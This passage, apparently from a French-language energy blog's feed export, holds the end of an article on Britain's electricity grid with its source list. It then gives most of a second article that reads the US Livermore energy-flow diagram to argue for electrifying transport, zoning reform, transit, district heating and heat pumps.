d\u0026rsquo;entretien. L\u0026rsquo;un est une souveraineté et l\u0026rsquo;autre un prélèvement automatique, et nous semblons sur le point de nous sortir du premier par le raisonnement pour protéger le second.\nNous avons construit la chose. Elle marche. Quelqu\u0026rsquo;un devrait le dire aux gens.\nSources Kate Morley — National Grid : Live — le mix de production, l\u0026rsquo;intensité carbone, la demande et le prix de la Grande-Bretagne, au choix sur le dernier jour, la dernière semaine, la dernière année et tout le jeu de données depuis 2012 ; également la fermeture de la dernière centrale au charbon le 30 septembre 2024.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDrax — 2024, the year GB electricity demand turned a corner — deux décennies de demande en baisse, la charge ajoutée par les véhicules électriques et les pompes à chaleur, et le retournement de 2024.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEuropean Commission — Light sources, energy label and ecodesign — les règlements d\u0026rsquo;écoconception sur l\u0026rsquo;éclairage et les 81 TWh d\u0026rsquo;électricité qu\u0026rsquo;ils ont économisés à l\u0026rsquo;échelle de l\u0026rsquo;UE en 2020.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDepartment for Transport — Vehicle licensing statistics data tables, VEH0141 — les véhicules rechargeables immatriculés à la fin de chaque trimestre par carrosserie et par carburant. Les chiffres ci-dessus sont la colonne des véhicules électriques à batterie pour la Grande-Bretagne au quatrième trimestre de chaque année.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNational Energy System Operator — Future Energy Scenarios — l\u0026rsquo;adoption des véhicules électriques jusqu\u0026rsquo;en 2050 selon les trajectoires, la capacité véhicule-réseau, et la révision de la flexibilité issue de la recharge pilotée.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMCS — UK homes installing a small-scale renewable every 90 seconds — les totaux d\u0026rsquo;installations certifiées, le cap des deux millions et la puissance installée, et la part des nouveaux systèmes solaires associés à un stockage par batterie.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCarbon Brief — Reform-led councils threaten 6GW of solar and battery schemes across England — la puissance située dans les dix conseils pris en mai 2025, l\u0026rsquo;engagement « every lever », les lettres envoyées aux développeurs et aux directeurs généraux d\u0026rsquo;entreprises énergétiques, et ce qu\u0026rsquo;il est réellement advenu des projets depuis.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — Planning for solar farms — le solaire au sol couvrait environ 21 200 hectares fin septembre 2024, soit autour de 0,1 % de la surface totale du Royaume-Uni.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLancaster University — Researchers use satellite imagery to shed light on UK solar farm land use — la mesure par satellite qui situe l\u0026rsquo;emprise des fermes solaires entre 15 580 et 17 364 hectares, soit 0,06 % à 0,07 % de la surface du Royaume-Uni.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFriends of the Earth — Fact check : British farming and renewables — la surface occupée par les terrains de golf face au solaire, et la part de terres agricoles qu\u0026rsquo;implique l\u0026rsquo;objectif de 70 GW d\u0026rsquo;ici 2035.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCPRE — Two-thirds of mega solar farms built on productive farmland — 59 % des plus grandes fermes solaires en service d\u0026rsquo;Angleterre sur des terres agricoles productives, 31 % de cette surface classée meilleure et la plus polyvalente.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — Battery energy storage systems — les objections et les refus en urbanisme, dont les projets d\u0026rsquo;Allerton Bywater, d\u0026rsquo;Eaglesham et du Devon, l\u0026rsquo;emballement thermique comme mécanisme d\u0026rsquo;incendie, et l\u0026rsquo;absence de toute obligation légale des conseils de consulter les services d\u0026rsquo;incendie et de secours sur un dossier de BESS.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — Battery energy storage systems — les incendies documentés de BESS de taille réseau au Royaume-Uni, dont Liverpool en septembre 2020 et un site de l\u0026rsquo;Essex en construction en février 2025, et la note qu\u0026rsquo;il n\u0026rsquo;existe aucun décompte public fiable des incidents.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEPRI — BESS Failure Incident Database — le bilan mondial des défaillances à l\u0026rsquo;échelle réseau depuis 2011, la série sud-coréenne de 2017–2019, la baisse du taux de défaillance par unité installée face à la croissance du déploiement, et la réserve que la base ne recense que les incidents rendus publics.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUtility Dive — Cells and modules not responsible for most battery energy storage system failures — l\u0026rsquo;analyse des causes premières par l\u0026rsquo;EPRI : intégration, assemblage et construction à 36 % des défaillances, exploitation 29 %, conception 21 %, défauts de fabrication 4 % ; 89 % des incidents ne prenant pas naissance dans la batterie ; et la concentration des défaillances sur la construction, la mise en service et les deux premières années d\u0026rsquo;exploitation.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLeft Foot Forward — What is the Heartland Institute? — le lancement de l\u0026rsquo;antenne britannique, les participants, et le financement de Heartland par ExxonMobil et des fondations liées aux Koch.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nopenDemocracy — Net Zero Watch : how dark oil money is funding influential UK climate sceptics — le financement de GWPF et de Net Zero Watch acheminé par American Friends of the GWPF, dont les versements de la Sarah Scaife Foundation.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nClimate Power — Fact check : Trump\u0026rsquo;s wind turbine claims — les affirmations sur le cancer et les baleines face à la position de la NOAA et du National Marine Fisheries Service, les estimations du US Fish and Wildlife Service sur les collisions d\u0026rsquo;oiseaux avec les éoliennes rapportées aux bâtiments et aux chats, et l\u0026rsquo;origine de l\u0026rsquo;argument du bien-être animal dans les travaux de think tanks financés par les énergies fossiles.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCNN — Fact check : five things Trump got wrong about wind turbines — l\u0026rsquo;affirmation des « tremendous fumes » et de l\u0026rsquo;empreinte carbone face à la position du département de l\u0026rsquo;Énergie, le retour énergétique de cinq à huit mois d\u0026rsquo;une éolienne moyenne, et les émissions de l\u0026rsquo;éolien comparées à celles du gaz et du charbon.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nInstitute at Brown for Environment and Society — Shadowy Twitter bots spread climate disinformation — la part des tweets décrivant la science du climat comme bidon qui ont été rattachés à des comptes automatisés. À noter, c\u0026rsquo;est une étude de 2021 sur le déni climatique en général, pas sur les renouvelables britanniques en particulier.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDeSmog — 55 Tufton Street et Mapped : how a US-UK network pushes climate science denial — le noyau de Westminster et ses membres, la portée de l\u0026rsquo;Atlas Network et son financement par Donors Trust et la Charles Koch Foundation, les quelque deux mille connexions transatlantiques cartographiées, et la présence de groupes climatosceptiques à la conférence Reform de 2025.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDFRLab — UK-based far-right Telegram channels amplified disinformation targeting US election integrity — l\u0026rsquo;amplification transatlantique documentée dans les deux sens, et le rôle des publications anglophones dans la fixation de récits ensuite repris par des médias travaillant dans d\u0026rsquo;autres langues.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPress Gazette — Record opposition to climate action in UK national newspapers in 2025 — le décompte des éditoriaux critiquant les énergies renouvelables, la première année depuis 2014 où ils ont dépassé les favorables, la part des éditoriaux climat de droite rejetant l\u0026rsquo;action climatique, et le coût comme angle d\u0026rsquo;attaque dominant.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCarbon Brief — Q\u0026amp;A : Why does gas set the price of electricity, and is there an alternative? — la tarification marginale en Grande-Bretagne, la part des périodes de règlement où le gaz fixe le prix face à sa part de production, et l\u0026rsquo;effet modélisé d\u0026rsquo;un pic du prix du gaz avec et sans renouvelables soutenus par CfD sur le système.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — What costs make up an electricity bill? — les coûts de politique publique sur les factures d\u0026rsquo;électricité et de gaz en valeur et en part, la Renewables Obligation comme premier poste de politique publique, et le transfert de 75 % de son coût vers l\u0026rsquo;impôt général à partir d\u0026rsquo;avril 2026.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCarbon Commentary — Climate misinformation and press regulation — les quinze inexactitudes relevées dans un seul article du Daily Mail face à une seule correction exigée, la déformation répétée des conclusions de NESO sur le coût du net zéro, et la composition et l\u0026rsquo;approche de la commission des plaintes de l\u0026rsquo;IPSO sur les sujets techniques.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTrading Economics — EU natural gas (TTF) price history — la référence néerlandaise TTF depuis la base d\u0026rsquo;avant 2021 jusqu\u0026rsquo;au pic de 2021–22, au sommet d\u0026rsquo;août 2022 et aux niveaux actuels, y compris le mouvement de septembre 2026 lié aux inquiétudes d\u0026rsquo;approvisionnement et de stockage.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nICIS — Ebbing North Sea gas production to raise UK gas prices and exposure to LNG imports — la mer du Nord couvrant environ la moitié de la demande en 2025, le volume et la répartition des importations, le rythme de déclin du plateau britannique, et la dépendance au GNL projetée pour 2030 et 2035.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/energy/the-grid-we-did-fix/","summary":"La Grande-Bretagne a divisé par deux l\u0026rsquo;intensité carbone de son électricité en quatorze ans, a tenu une année entière sans charbon et a fait de l\u0026rsquo;éolien sa première source. Pendant ce temps la demande a baissé pendant vingt ans alors que le pays branchait 1,8 million de véhicules électriques. Voici ce que montrent les chiffres, y compris les passages qui gâchent l\u0026rsquo;histoire.","title":"Le réseau que nous avons réparé"},{"content":"Le chiffre que tout le monde cite et que personne ne lit Lawrence Livermore a sorti l\u0026rsquo;autre jour son diagramme des flux d\u0026rsquo;énergie pour 2024. Il dit que l\u0026rsquo;Amérique a consommé 94,61 quads d\u0026rsquo;énergie et en a jeté 62,27 à la poubelle.1\nBien. Un quad, c\u0026rsquo;est mille billions de British thermal units, soit 10¹⁵ BTU. Pas une somme d\u0026rsquo;argent : dans l\u0026rsquo;original anglais, quad sonne comme quid, le mot britannique pour une livre sterling, et il n\u0026rsquo;est question d\u0026rsquo;argent nulle part dans cet article. Les Américains tiennent leur comptabilité énergétique nationale en quads et le reste du monde compte en wattheures, alors voici la conversion qui donne du sens à tout ça : un quad, c\u0026rsquo;est environ 293 TWh, un peu plus que ce que le réseau britannique tout entier livre en un an.\nL\u0026rsquo;énergie rejetée, c\u0026rsquo;est le nom poli de ces 62,27. La part qui n\u0026rsquo;a produit aucun travail utile. De la chaleur qui monte dans une cheminée, de la chaleur qui part d\u0026rsquo;un radiateur, de la chaleur qui sort d\u0026rsquo;un pot d\u0026rsquo;échappement. C\u0026rsquo;est presque entièrement de la chaleur perdue par combustion de quelque chose.\nEt maintenant attention aux unités, parce que je m\u0026rsquo;étais trompé au début et que la moitié d\u0026rsquo;internet se trompe encore. 62,27, ce sont des quads, pas des pour cent. Mettez-les en face des 32,34 quads qui ont servi à quelque chose et la part monte à 65,8 %. Les deux tiers de tout ce qui a été foré, extrait, mis en tuyau et transporté, partis en air chaud.\n2024 En réseaux britanniques Énergie entrante 94,61 quads 27 726 TWh 102 ans Rejetée 62,27 quads 18 249 TWh 67 ans Services énergétiques 32,34 quads 9 477 TWh 35 ans C\u0026rsquo;est la dernière colonne qui m\u0026rsquo;a marqué. Le réseau de Grande-Bretagne livre environ 271 TWh par an.2 L\u0026rsquo;énergie rejetée par l\u0026rsquo;Amérique pour la seule année 2024 représente donc soixante-sept années du réseau britannique tout entier, jetées en chaleur, en douze mois.\nAutrement dit : faites tourner l\u0026rsquo;électricité de ce pays d\u0026rsquo;aujourd\u0026rsquo;hui à 2093 et vous n\u0026rsquo;auriez toujours pas produit ce que les États-Unis ont gaspillé l\u0026rsquo;an dernier.\nCe chiffre-là est cité partout. La façon dont le diagramme compte ne l\u0026rsquo;est presque jamais. C\u0026rsquo;est la partie intéressante.\nUne note d\u0026rsquo;intendance, puisqu\u0026rsquo;il s\u0026rsquo;agit d\u0026rsquo;un texte sur l\u0026rsquo;Amérique écrit par un gars du Yorkshire. L\u0026rsquo;original emploie des mots britanniques là où l\u0026rsquo;Amérique en a d\u0026rsquo;autres : petrol pour l\u0026rsquo;essence, forecourt pour la station-service, aircon pour la climatisation. Et quand je dis nowt ou summat, cela veut dire rien et quelque chose.\nL\u0026rsquo;éolien et le solaire sont comptés à 100 % Voici ce qui piège les gens. Livermore suit la convention de l\u0026rsquo;Energy Information Administration, et sous cette convention quatre sources entrent sans aucune perte de conversion.3\nSource Comment elle entre dans le diagramme Où vont les pertes Charbon, gaz, pétrole énergie du combustible ~60–70 % en rejeté Nucléaire énergie thermique ~67 % en rejeté Éolien terrestre électricité produite rien de rejeté Solaire au sol et en toiture électricité produite rien de rejeté Hydroélectricité électricité produite rien de rejeté Une centrale au gaz est comptée sur l\u0026rsquo;énergie contenue dans le gaz, donc les deux tiers qu\u0026rsquo;elle balance en chaleur atterrissent dans le bloc rejeté. Une éolienne est comptée sur l\u0026rsquo;électricité qu\u0026rsquo;elle livre. Il n\u0026rsquo;y a pas de ligne « énergie du vent » sur laquelle perdre quoi que ce soit.\nSur ce diagramme, chaque térawattheure qui passe d\u0026rsquo;une centrale thermique à un parc éolien fait donc deux choses à la fois. Il s\u0026rsquo;ajoute à l\u0026rsquo;utile et il se retire du rejeté. Il compte deux fois.\nCe qui veut dire que l\u0026rsquo;argument selon lequel supprimer l\u0026rsquo;éolien et le solaire réduirait le gaspillage parcourt à l\u0026rsquo;envers le diagramme même à propos duquel on le formule. On me l\u0026rsquo;a servi très sérieusement, des gens qui devraient mieux savoir. Ce n\u0026rsquo;est pas une décision serrée. C\u0026rsquo;est le signe inversé.\nOù se trouve vraiment le gaspillage Découpez le diagramme par secteur et il cesse d\u0026rsquo;être une abstraction.1\nSecteur Énergie entrante Rejetée Utile Rendement Résidentiel 11,23 3,93 7,30 65 % Tertiaire 9,49 3,32 6,17 65 % Industrie 26,39 13,46 12,93 49 % Transports 28,29 22,35 5,94 21 % Les centrales électriques en perdent 19,21 quads de plus dans les tours de refroidissement avant que rien n\u0026rsquo;arrive à ces quatre-là.\nLes transports sont de loin les pires. Ils prennent la plus grosse part de l\u0026rsquo;énergie et en transforment 21 % en mouvement. Ces 22,35 quads perdus font 36 % de tout ce que l\u0026rsquo;Amérique jette. Plus d\u0026rsquo;un tiers du gaspillage national, dans un seul secteur.\nUn moteur à essence transforme peut-être 16–25 % du carburant en mouvement. Le reste part en chaleur et en bruit.4\nUtile aux roues Perdu en chaleur Moteur à essence 16–25 % 75–84 % Chaîne de traction électrique (batterie aux roues) 87–91 % 9–13 % Ce n\u0026rsquo;est pas un gain marginal. C\u0026rsquo;est la différence entre une machine qui réchauffe surtout le ciel et une machine qui déplace surtout la voiture. Même trajet, physique différente.\nEt cela court sur toute la chaîne, pas seulement sur le véhicule. Amener du carburant liquide jusqu\u0026rsquo;à la station-service coûte de l\u0026rsquo;énergie avant qu\u0026rsquo;une seule goutte ne soit brûlée.\nÉtape Énergie perdue pour l\u0026rsquo;amener là Raffinage du brut 7–15 % de l\u0026rsquo;entrée5 Pétrolier, pipeline, camion-citerne en plus de ça Transport et distribution sur le réseau ~5 %6 Pétroliers en part de la flotte mondiale ~28 % en port en lourd7 Brut et produits déplacés par mer, par an ~4,4 milliards de tonnes7 Le transport routier pèse environ la moitié de la demande mondiale de pétrole. Électrifiez-le et une bonne part de la flotte pétrolière n\u0026rsquo;a plus rien à transporter.\nAutant être droit ici, parce que surestimer est la façon de perdre un argument qu\u0026rsquo;on était en train de gagner. Les pertes du réseau sont réelles et ce sont des pertes par effet Joule. Une électrique paie l\u0026rsquo;hiver un chauffage d\u0026rsquo;habitacle qu\u0026rsquo;un moteur thermique obtient gratuitement. Mais cette chaleur n\u0026rsquo;est gratuite que parce que le moteur a déjà mis les trois quarts du carburant à la poubelle. Elle est gratuite comme la chaleur d\u0026rsquo;un incendie de maison.\nLa plus grande chose que l\u0026rsquo;Amérique pourrait faire Les véhicules légers font 58,5 % de l\u0026rsquo;énergie des transports, et c\u0026rsquo;est précisément la part qui s\u0026rsquo;électrifie sans attendre une technologie nouvelle.8 Faites le calcul du changement de chaîne de traction, tout le reste inchangé.\nTransport routier léger Quads Énergie entrante aujourd\u0026rsquo;hui 16,55 Travail utile réellement livré 3,47 Le même travail par une chaîne électrique 4,09 d\u0026rsquo;électricité …produite au gaz, au rendement d\u0026rsquo;un cycle combiné 9,08 en primaire …produite par l\u0026rsquo;éolien, le solaire ou l\u0026rsquo;hydraulique 4,09 en primaire Énergie économisée 7,5 à 12,5 quads Même en les rechargeant toutes sur des turbines à gaz, vous économisez environ sept quads et demi. Sur l\u0026rsquo;éolien et le solaire, douze et demi. Huit à treize pour cent de tout ce que les États-Unis brûlent, à partir d\u0026rsquo;un seul remplacement.\nC\u0026rsquo;est le plus grand gain de rendement disponible où que ce soit sur le diagramme, il ne demande aucune invention, aucune percée, aucun projet pilote et aucune physique nouvelle, parce que chacun des véhicules nécessaires est déjà construit et vendu en volume aujourd\u0026rsquo;hui. Les voitures existent. C\u0026rsquo;est tout le truc.\nSauf qu\u0026rsquo;un meilleur moteur ne corrige pas l\u0026rsquo;urbanisme Une électrique doit quand même couvrir la distance, et c\u0026rsquo;est là que se trouve l\u0026rsquo;autre moitié du problème.\nÉtats-Unis Europe Miles parcourus en voiture par personne et par an ~12 400 ~6 2009 Part des déplacements quotidiens faits en voiture 85 % 50–65 %9 Déplacements de moins d\u0026rsquo;un mile faits en voiture ~70 % ~30 %9 Places de stationnement par voiture ~8 non comptées9 Regardez la troisième ligne, parce qu\u0026rsquo;elle retire l\u0026rsquo;excuse de la géographie. Environ 30 % des déplacements quotidiens font moins d\u0026rsquo;un mile des deux côtés de l\u0026rsquo;Atlantique. Mêmes courses, mêmes distances. Les Américains en font sept sur dix en voiture. Les Européens marchent, pédalent ou prennent quelque chose pour sept sur dix.\nCe n\u0026rsquo;est pas la géographie qui a fait ça. Ni la météo. C\u0026rsquo;est le zonage, qui a mis les maisons ici et les magasins à trois miles de là, appuyé par des minima de stationnement qui ont fini par construire près de huit places pour chaque voiture du pays.9 Entre les années 1920 et les années 1960, les villes américaines ont été rebâties autour de l\u0026rsquo;automobile et une bonne partie de l\u0026rsquo;Europe de l\u0026rsquo;Ouest les a copiées. À partir de la fin des années 1960, l\u0026rsquo;Europe s\u0026rsquo;est arrêtée et a commencé à défaire tout ça.9\nLes douze quads et demi sont donc le plafond de l\u0026rsquo;électrification seule. Divisez les miles par deux en plus et vous divisez par deux ce qui reste. L\u0026rsquo;un est un travail d\u0026rsquo;ingénieur et l\u0026rsquo;autre un travail d\u0026rsquo;urbaniste, et le travail d\u0026rsquo;urbaniste est celui dont personne ne peut s\u0026rsquo;acheter la sortie en un seul achat.\nEt le voyageur-kilomètre le moins cher est partagé Il y a un troisième levier, et l\u0026rsquo;Amérique a plus ou moins cessé de tirer dessus.\nMode Énergie par voyageur-kilomètre Voiture à essence 1,9 à 3,5 MJ10 Rail électrique urbain, bien rempli 0,3 à 0,6 MJ10 Quatre à six fois mieux, avant que qui que ce soit ne touche à une chaîne de traction. Une voiture avec une seule personne à bord émet 7,7 fois le CO₂ par voyageur-mile d\u0026rsquo;un autocar plein.10\nEt voici l\u0026rsquo;état des lieux.\nÉtats-Unis Europe Part des voyageurs-miles en transport public 0,40 %11 plusieurs fois plus Déplacements faits en voiture 95 %11 50 à 65 % Voie ferrée électrifiée 1,7 % (les Amériques)11 ~57 % dans l\u0026rsquo;UE11 Zéro virgule quatre pour cent. Ce n\u0026rsquo;est pas un système de transport avec une composante collective. C\u0026rsquo;est un pays qui conduit, avec quelques bus dedans.\nEt 1,7 % d\u0026rsquo;électrification veut dire que le rail américain reste, massivement, du diesel. Tout argument en faveur du report du fret et des voyageurs vers le rail porte donc sur un réseau qui marche encore au pétrole. Électrifiez la voie et vous obtenez le report modal et le changement de carburant dans le même chantier.\nVoici la partie honnête, parce qu\u0026rsquo;elle va dans l\u0026rsquo;autre sens et que quelqu\u0026rsquo;un la soulèvera. Le transport collectif n\u0026rsquo;est efficace que lorsqu\u0026rsquo;il est plein. Le taux de remplissage des bus aux États-Unis baisse depuis des décennies, et l\u0026rsquo;énergie par voyageur-mile en bus a augmenté de 63 % depuis 1970.10 Un bus presque vide sur une boucle de cinquante minutes autour d\u0026rsquo;un lotissement est pire que la voiture qu\u0026rsquo;il devait remplacer. C\u0026rsquo;est un vrai chiffre, et un gros.\nMais regardez ce qui vide un bus. Personne à distance de marche de l\u0026rsquo;arrêt, rien qui vaille la marche à l\u0026rsquo;autre bout, et une organisation qui met huit places de stationnement devant chaque porte. Les bus vides ne sont pas un fait sur les bus. Ce sont un fait sur ce qui a été construit autour de l\u0026rsquo;arrêt.\nCe qui vous amène à la chose qui sort réellement les gens de leur voiture, et l\u0026rsquo;écart y est plus large que le chiffre de part modale ne le laisse croire.\nÉtats-Unis Europe Villes dotées d\u0026rsquo;un métro 13 6012 Villes dotées d\u0026rsquo;un réseau de tramway 30 bien plus12 Croissance des kilomètres de métro depuis 2000 référence trois fois plus vite12 Treize. Dans un pays de trois cent quarante millions d\u0026rsquo;habitants. L\u0026rsquo;Europe en a soixante, et pose de la voie neuve trois fois plus vite depuis le tournant du siècle, donc l\u0026rsquo;écart se creuse au lieu de se refermer.\nLe mode compte aussi. Des travaux sur les villes européennes ont trouvé que les métros sortent les gens de leur voiture là où les réseaux de tramway ne le font largement pas, ce qui colle à l\u0026rsquo;attendu : un métro va plus vite que la voiture à l\u0026rsquo;heure de pointe, un tramway généralement pas.12 La vitesse est tout le produit. Construisez quelque chose de plus lent que la voiture et vous avez construit une subvention pour les gens qui n\u0026rsquo;ont pas le choix, pas une alternative pour ceux qui l\u0026rsquo;ont.\nC\u0026rsquo;est le seul poste vraiment cher de la liste. Une réforme du zonage coûte de la volonté politique et une réécriture. Les tunnels coûtent des milliards. Mais ils achètent ce que les deux autres ne peuvent pas. Vous déplacez des gens à travers une ville dense à l\u0026rsquo;électricité, à 0,3 ou 0,6 MJ par voyageur-kilomètre, et plus vite qu\u0026rsquo;ils n\u0026rsquo;auraient roulé. À ce moment-là, laisser la voiture à la maison cesse d\u0026rsquo;être un sacrifice et devient le choix évident. C\u0026rsquo;est là que les gens le font vraiment.\nCe qui veut dire que les solutions sont la même solution sous des chapeaux différents. L\u0026rsquo;électrification retire 7,5 à 12,5 quads de la chaîne de traction. Le zonage fait baisser les miles. La densité est ce qui rend le transport collectif digne d\u0026rsquo;être exploité, et le transport collectif est ce qui rend la densité vivable. Tirez un levier et vous obtenez un levier. Tirez les trois et ils se multiplient.\nL\u0026rsquo;Amérique est en train de se disputer sur le premier.\nRien de tout cela ne démarre, pourtant, sans l\u0026rsquo;étape la moins chère de toutes, qui est aussi celle qui a l\u0026rsquo;air la plus dure. Il faut que quelqu\u0026rsquo;un dise à voix haute qu\u0026rsquo;il y a un problème.\nLe diagnostic ne manque pas. Il est publié chaque année par un laboratoire fédéral, gratuitement, sur un site public, dans un diagramme assez clair pour se lire en une minute. Soixante-cinq virgule huit pour cent gaspillés. Les transports pour un tiers. Vingt et un pour cent de rendement sur le plus gros bloc de la page. Personne n\u0026rsquo;a besoin de commander une étude ni d\u0026rsquo;attendre la science. La science est sortie en août. Les gens ont lu le chiffre du titre, se sont trompés dessus, et sont passés à autre chose.\nC\u0026rsquo;est la partie qui devrait piquer. Aucun pays ne dépense des milliards à creuser sous ses villes pour corriger une chose qu\u0026rsquo;il estime aller bien, et l\u0026rsquo;Amérique a tranquillement classé 22,35 quads perdus par an dans la case « ça va ». Pas débattu puis écarté. Simplement jamais mis sur la table.\nLes restes doivent aller quelque part La chaleur n\u0026rsquo;est un déchet que s\u0026rsquo;il n\u0026rsquo;y a nulle part où la mettre. C\u0026rsquo;est une décision d\u0026rsquo;aménagement, pas un manque de technologie, et elle a surtout été prise il y a des décennies.\nPart du chauffage urbain dans la demande de chaleur Danemark ~66 %13 Suède, Finlande, Pologne, les pays baltes au-dessus de 50 % Moyenne UE ~13 % Royaume-Uni ~3 %14 États-Unis seulement des réseaux de campus, d\u0026rsquo;hôpital et de centre-ville L\u0026rsquo;Europe fait tourner environ 111 650 sites commerciaux et industriels au CO₂ transcritique en 2025, à peu près un tiers de toute la distribution alimentaire.15 Le centre de données de Meta à Odense pousse environ 100 000 MWh par an dans le réseau local depuis 2019. C\u0026rsquo;est de la chaleur qui serait autrement partie dans un aérorefroidisseur. À la place, elle chauffe 12 000 logements.13\nNous avons environ 14 000 réseaux de chaleur au Royaume-Uni et ils ne couvrent toujours que 3 % de la demande de chaleur.14 Quatorze mille engins et presque rien à montrer, parce qu\u0026rsquo;ils sont petits, éclatés et le plus souvent greffés sur du logement social. L\u0026rsquo;Ofgem en a repris la régulation en janvier et le zonage démarre cette année. Objectif 7 % d\u0026rsquo;ici 2035, environ un cinquième de la chaleur des bâtiments d\u0026rsquo;ici 2050.16\nLe Danemark ne fait rien d\u0026rsquo;astucieux dont nous serions incapables. Le Danemark a mis des tuyaux sous les rues. Pas nous. Voilà. C\u0026rsquo;est ça, la différence.\nLes pompes à chaleur, et le fluide auquel personne ne pense Même logique au petit bout. Un chauffage par résistance ne peut pas dépasser un coefficient de performance (COP) de 1,0. C\u0026rsquo;est la définition de la chose. Une pompe à chaleur déplace la chaleur au lieu de la fabriquer, donc elle fait mieux.\nSystème COP Conditions Élément résistif (PTC) 1,0 au maximum quelconques Pompe à chaleur automobile 2,0–3,2 0 à 15 °C Unité au propane R290 Hyundai/Kia 3,8 annoncé −15 °C Unité VW R-744 (CO₂) 3,1 −20 °C17 L\u0026rsquo;ADAC a passé 28 électriques au banc d\u0026rsquo;hiver à −7 °C. Les modèles à pompe à chaleur ont perdu en moyenne 22 % d\u0026rsquo;autonomie de moins que ceux à résistance seule.18\nLa ligne R-744 mérite un second regard. C\u0026rsquo;est le dioxyde de carbone lui-même, en fluide frigorigène, dans les VW ID.3 et ID.4. Sa densité de vapeur d\u0026rsquo;aspiration plus élevée maintient la capacité quand il fait plus froid, c\u0026rsquo;est-à-dire exactement quand vous en avez besoin.17\nEt le CO₂ de qualité frigorigène est un sous-produit de la production d\u0026rsquo;ammoniac, d\u0026rsquo;éthanol et d\u0026rsquo;engrais, capté et nettoyé plutôt que rejeté à l\u0026rsquo;air.19 Un flux de déchets qui chauffe et qui refroidit, avec un pouvoir de réchauffement global de 1 contre 1 430 pour le R-134a. Quand celui-là fuit, il ne se passe rien.\nCe n\u0026rsquo;est pas de la capture de carbone et je ne prétendrai pas le contraire ; la charge fait moins d\u0026rsquo;un kilo. Le point est plus étroit et meilleur. Le fluide de travail est une chose dont nous avions déjà beaucoup trop.\nCe que je fais tourner chez moi Matériel Caractéristiques Pourquoi Champ solaire 9 kW le toit est bien orienté, donc autant s\u0026rsquo;en servir Batterie 30 kWh décale la production de la journée vers le soir Électriques MG4, Xpeng G6 rechargées sur le champ, pas à la station Climatisation autoalimentée tourne sur ce que les panneaux fabriquent Pilotage Home Assistant pousse les grosses charges dans la fenêtre pas chère Rien d\u0026rsquo;exotique dans cette liste et rien de neuf. Même principe que d\u0026rsquo;accorder un support de stockage à un profil d\u0026rsquo;accès. Mettez l\u0026rsquo;énergie là où elle gagne sa vie, mesurez ce que vous obtenez vraiment, et arrêtez de croire l\u0026rsquo;étiquette sur la boîte.\nCe qui m\u0026rsquo;a surpris, c\u0026rsquo;est la part 